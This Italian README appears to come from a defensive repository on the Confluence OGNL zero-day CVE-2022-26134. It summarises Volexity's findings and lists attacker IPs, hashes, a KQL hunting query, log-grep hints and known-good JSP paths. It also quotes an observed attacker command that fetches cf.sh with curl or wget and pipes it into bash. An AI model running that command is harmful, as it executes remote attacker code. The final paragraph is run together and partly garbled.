
Questa repository tratta dello sfruttamento zero-day di Atlassian Confluence, dal punto di vista della difesa e dell'analisi, nella prospettiva di un SecOps o di un Blue Team.
Questo repository tratta dello sfruttamento zero-day di Atlassian Confluence, con un punto di vista difensivo e di analisi dalla prospettiva di un team SecOps o Blue Team
Nel corso del fine settimana del Memorial Day negli Stati Uniti, Volexity ha condotto un'indagine di incident response coinvolgente due server web esposti a Internet appartenenti a uno dei suoi clienti, che eseguivano il software Atlassian Confluence Server. L'indagine è iniziata dopo che è stata rilevata attività sospetta sugli host, tra cui webshell JSP scritte su disco. Volexity ha immediatamente utilizzato Volexity Surge Collect Pro per raccogliere la memoria di sistema e i file chiave dai sistemi Confluence Server per l'analisi. Dopo un esame approfondito dei dati raccolti, Volexity è stata in grado di determinare che il compromesso del server derivava da un attaccante che lanciava un exploit per ottenere esecuzione di codice in remoto. Volexity è successivamente riuscita a ricreare quell'exploit e a identificare una vulnerabilità zero-day che impattava versioni completamente aggiornate di Confluence Server.
Dopo la scoperta e la verifica di questa vulnerabilità, Volexity ha contattato Atlassian per segnalare i dettagli rilevanti il 31 maggio 2022. Atlassian ha da allora confermato la vulnerabilità e ha successivamente assegnato il problema a CVE-2022-26134. È stato confermato che funziona sulle versioni attuali di Confluence Server e Data Center.
Fai riferimento ai dettagli tecnici QUI
154.146.34.145
154.16.105.147
156.146.34.46
156.146.34.52
156.146.34.9
156.146.56.136
198.147.22.148
198.147.22.148
221.178.126.244
45.43.19.91
59.163.248.170
64.64.228.239
66.115.182.102
66.115.182.111
67.149.61.16
98.32.230.38
193.106.191.48
f39b321472b8dac2452e4c0bc687cb5aa401ac6687520fdc9fd523a17477886d
f8df4dd46f02dc86d37d46cf4793e036
DeviceProcessEvents
| where InitiatingProcessFileName has_any( @"tomcat9.exe")
//| where ProcessCommandLine has_any (@"whoami.exe",@"nslookup.exe")
${ in (install directory)/logs/*.logegrep -a -i -f pattern.txt *.log dove pattern.txt dovrebbe essere salvato come ${ oppure prova grep "\${" log file path o prova grep "$%7B" log file pathfindstr -i noop.jsp "logpath"$jspname_jsp.java nella directory confluence_install_dir/work/Standalone/. Ad esempio, se trovi una shell di nome hack.jsp dovresti vedere hack_jsp.java. Se non trovi più hack.jsp su disco, prova a cercare nei log web l'accesso ad essa. Darà l'indicazione di quando è stata acceduta/cancellata.process where event='CreateProcess' and parent_process_path='/opt/atlassian/confluence/jre/bin/java' and process_user_name='confluence' può aiutare a identificare, come descritto da David QUIbash -c '(curl -s 195.2.79[.]26/cf.sh||wget -q -O- 195.2.79[.]26/cf.sh)|bash nei log web./admin/findspaceattachments.jsp
./admin/cluster/hashclustername.jsp
./admin/default.jsp
./classpath.jsp
./errors/notfound.jsp
./500page.jsp
./errors.jsp
./noop.jsp
quindi cerca file creati di recente che non sono elencati sopra
.java nella directory ./confluence/org/apache/jsp/ che non dovrebbero essere lì.java->bash->python->bash